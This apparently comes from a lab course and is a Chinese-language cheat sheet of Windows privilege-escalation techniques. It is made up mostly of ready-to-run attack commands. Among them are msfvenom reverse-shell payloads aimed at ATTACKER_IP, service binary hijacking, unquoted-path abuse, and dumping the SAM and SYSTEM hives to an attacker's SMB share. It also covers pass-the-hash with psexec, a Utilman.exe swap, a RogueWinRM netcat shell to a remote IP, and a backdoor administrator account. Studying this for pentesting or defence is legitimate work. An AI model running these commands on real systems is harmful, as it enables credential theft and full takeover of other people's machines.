Windows 权限提升
Unattended Windows Installations
windows 自动安装相关配置文件,可能存在明文密码
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
Powershell History
Powershell 命令历史,需要在 cmd 环境执行
cmd /c type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Saved Windows Credentials
查看保存的 Windows 凭据
cmdkey /list
看不到密码,但是可以尝试使用
runas /savecred /user:admin cmd.exe
IIS Configuration
IIS 的配置文件 web.config 可能存在凭据
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
快速查找内容
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Retrieve Credentials from Software: PuTTY
从部分管理软件中获取凭据:PuTTY、XShell…
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Scheduled Tasks
首先使用查看所有计划任务
PS C:\> Get-ScheduledTask
C:\> schtasks /query
然后可以查看某个计划任务的配置。
C:\> schtasks /query /tn vulntask /fo list /v
查看对计划任务执行文件的权限,(F) 完全访问
C:\> icacls C:\tasks\schtask.bat
---------------------------------------------------
C:\tasks\schtask.bat BUILTIN\Users:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
修改对应程序后,可以加载计划任务
C:\> schtasks /run /tn vulntask
AlwaysInstallElevated
Windows .msi 文件运行后会自动安装,一般权限较高,需要两个注册表值
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
可以使用 msfvenom 生成恶意 .msi 文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.64.70 LPORT=LOCAL_PORT -f msi -o malicious.msi
使用命令安装程序
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Windows Services
查看服务
PS C:\> Get-Service
C:\> sc query
服务有一个自主访问控制列表(DACL),它指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他权限,在 ACL 配置有缺陷的情况下,可以进一步利用。
查看指定服务
C:\> sc qc AdobeARMservice
服务的 **BINARY_PATH_NAME** 等配置在注册表 HKLM\SYSTEM\CurrentControlSet\Services\ 中,默认情况下只有管理员可以修改此类注册表项。
Insecure Permissions on Service Executable
服务可执行程序不安全的权限
查看服务信息
C:\Users\thm-unpriv>sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WindowsScheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr1
查看对可执行程序的权限
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
具有所有权限,因此可以替换掉
生成Reverse Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
备份原文件、替换新文件、修改权限之后重启服务
cd C:\PROGRA~2\SYSTEM~1\
move WService.exe WService.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe WService.exe
C:\> icacls WService.exe /grant Everyone:F
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler
# PS C:\> sc.exe // Powershell 需要使用 sc.exe 避免别名冲突
Unquoted Service Paths
未加引号的弱路径服务,当服务所加载程序的路径中带有空格,且路径整体未加引号,则可能会导致弱路径利用
样例
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2
由于加载程序时路径可以省略 .exe,所以如果存在 C:\MyPrograms\Disk.exe,则会被服务优先加载,其次加载 c:\MyPrograms\Disk Sorter.exe,若前两者不存在,则加载整体路径 C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe。
利用方式:替换文件、修改权限、重启服务
C:\> move C:\Users\thm-unpriv\rev-svc.exe C:\MyPrograms\Disk.exe
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"
Insecure Service Permissions
如果服务的可执行 DACL 配置良好,并且正确引用了服务的二进制路径,那么您仍然有机会利用该服务。如果服务 DACL(不是服务的可执行 DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向所需的任何可执行文件并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。
从命令行检查服务的 DACL 需要使用 Sysinternals 套件中的 Accesschk
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
BUILTIN\\Users 拥有服务的所有权限,因此 Users 组下所有用户都可以重新配置服务,因此可以修改二进制文件路径来执行任意代码
修改文件权限、重新配置服务的 binPath、重启服务
C:\> icacls C:\Users\thm-unpriv\rev-svc.exe /grant Everyone:F
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc.exe" obj= LocalSystem
C:\> sc stop THMService
C:\> sc start THMService
Windows Privileges
使用 whoami /priv 查看用户所有权限,Microsoft 官方提供了 Windows 系统上可用权限的完整列表。可以在 Priv2Admin 项目上找到可利用权限的完整列表。
SeBackup / SeRestore
SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,忽略任何 DACL。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。
权限样例
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
可以备份 SAM 和 SYSTEM 哈希值
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
攻击机开启 SMB 服务,用于接收备份文件
user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
上传文件
C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
本地提取 Hash
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
THMBackup:1008:aad3b435b51404eeaad3b435b51404ee:6c252027fb2022f5051e854e08023537:::
THMTakeOwnership:1009:aad3b435b51404eeaad3b435b51404ee:0af9b65477395b680b822e0b2c45b93b:::
[*] Cleaning up...
传递 Hash 获取权限
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 [email protected]
SeTakeOwnership
SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了多种可能性,例如,我们可以搜索作为 SYSTEM 运行的服务并获取服务的可执行文件的所有权、其他以 SYSTEM 身份运行的可执行程序的所有权。
例如获取“轻松访问——Utilman.exe”的所有权、分配权限、替换文件
C:\> takeown /f C:\Windows\System32\Utilman.exe
C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
C:\Windows\System32\> copy cmd.exe utilman.exe
锁定屏幕、点击轻松访问弹出 cmd.exe

SeImpersonate / SeAssignPrimaryToken
这些权限允许进程模拟其他用户并代表他们执行操作。模拟通常包括能够在另一个用户的安全上下文下生成进程或线程。
假设有一个 IIS 的 Web Shell
需要配合 Potato 系列工具(potato.exe、RottenPotato、RottenPotatoNG、Juicy Potato、SweetPotato、RemotePotato0)、RogueWinRM、PrintSpoofer 等使用。
每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它都会使用系统权限自动创建到端口 5985 的连接。如果由于某种原因,WinRM 服务没有在受害服务器上运行,则攻击者可以在端口 5985 上启动伪造的 WinRM 服务,并在启动时捕获 BITS 服务进行的身份验证尝试。如果攻击者具有SeImpersonate权限,他可以代表连接用户(即SYSTEM)执行任何命令。
利用 RogueWinRM 漏洞,先上传 RogueWinRM.exe
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe 10.10.171.61 4444"
等待片刻,接收 Shell
Unpatched Software
利用软件漏洞提权。 exploit-db, packet storm
获取软件版本信息
PS c:\> Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSize
C:\> wmic product get name,version,vendor
创建新用户并添加至管理员组
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add
自动化工具
C:\> winpeas.exe > outputfile.txt
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force
PS C:\> . .\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck
PS C:\> systeminfo > systeminfo.txt
user@kali$ wes.py systeminfo.txt
